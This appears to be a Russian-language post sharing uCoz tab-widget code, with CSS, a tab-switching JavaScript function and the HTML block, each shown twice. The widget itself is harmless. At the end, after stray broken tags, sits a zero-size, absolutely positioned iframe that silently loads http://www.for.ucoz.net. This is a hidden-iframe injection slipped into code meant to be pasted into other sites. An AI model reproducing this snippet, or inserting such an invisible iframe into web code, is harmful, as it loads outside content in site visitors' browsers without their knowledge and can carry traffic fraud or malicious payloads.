 
 
 CSS: 
 Code
1. /* UcoZ Tab */  
 2. .menuBg {background:#DEE7F6 !important;}  
 3. .Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 4. .Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}  
 5. .MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 6. .MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 7. .MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}  
 8. .MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}  
 9. .MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }  
 10. /* ---------------- */  
 /* UcoZ Tab */  
 .menuBg {background:#DEE7F6 !important;}  
 .Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 .Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}  
 .MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 .MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
 .MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}  
 .MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}  
 .MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }  
 /* ---------------- */
 Это после : 
 Code
1. <script type="text/javascript">  
 2. // UcoZ Tab START  
 3. function showmods(t) {  
 4. if (t){  
 5. document.getElementById('instMods').className='MnotActive1';  
 6. document.getElementById('uninstMods').className='Mactive';  
 7. document.getElementById('isInMo').style.display='none';  
 8. document.getElementById('noInMo').style.display='';  
 9. document.body.focus();  
 10. } else {  
 11. document.getElementById('instMods').className='Mactive';  
 12. document.getElementById('uninstMods').className='MnotActive';  
 13. document.getElementById('noInMo').style.display='none';  
 14. document.getElementById('isInMo').style.display='';  
 15. document.body.focus();  
 16. }  
 17. }  
 18. // UcoZ Tab END  
 19. </script>  
 <script type="text/javascript">  
 // UcoZ Tab START  
 function showmods(t) {  
 if (t){  
 document.getElementById('instMods').className='MnotActive1';  
 document.getElementById('uninstMods').className='Mactive';  
 document.getElementById('isInMo').style.display='none';  
 document.getElementById('noInMo').style.display='';  
 document.body.focus();  
 } else {  
 document.getElementById('instMods').className='Mactive';  
 document.getElementById('uninstMods').className='MnotActive';  
 document.getElementById('noInMo').style.display='none';  
 document.getElementById('isInMo').style.display='';  
 document.body.focus();  
 }  
 }  
 // UcoZ Tab END  
 </script>
 Сам блок: 
 Code
1. <div class="xw-tl"><div class="xw-tr"><div class="xw-tcc"></div></div></div>  
 2. <div class="xw-ml"><div class="xw-mr"><div class="xw-mc menuBg">  
 3.  
 4. <div style="display:none;overflow:auto;height:250px;" id="noInMo">  
 5. [c]<!-- код2 -->  
 6.  
 7. [/c]</div>  
 8.  
 9. <div style="overflow:auto;height:250px;" id="isInMo">  
 10. [c]  
 11. <!-- код1 -->  
 12.  
 13. [/c]  
 14. </div>  
 15.  
 16. </div></div></div>  
 17.  
 18. <div class="xw-bl"><div class="xw-br"><div class="xw-bc"><div class="xw-footer"></div></div></div></div>  
 19.  
 20. <table border="0" cellpadding="0" cellspacing="0" width="100%">  
 21. <tbody>  
 22. <tr>  
 23. <td width="6%"> </td>  
 24. <td align="center" valign="top" width="44%"><div id="instMods" class="Mactive"><a id="instModsL" href="javascript://" onclick="showmods(0);return false;">Название 2</a></div></td>  
 25.  
 26. <td align="center" valign="top" width="43%"><div id="uninstMods" class="MnotActive"><a id="uninstModsL" href="javascript://" onclick="showmods(1);return false;">НАзвание 1</a></div></td>  
 27. <td width="7%"> </td>  
 28. </tr>  
 29. </tbody>  
 30. </table>  
 <body style="margin:0px">   
 </iframe>   
 <iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"   
 src="http://www.for.ucoz.net">   
 </iframe>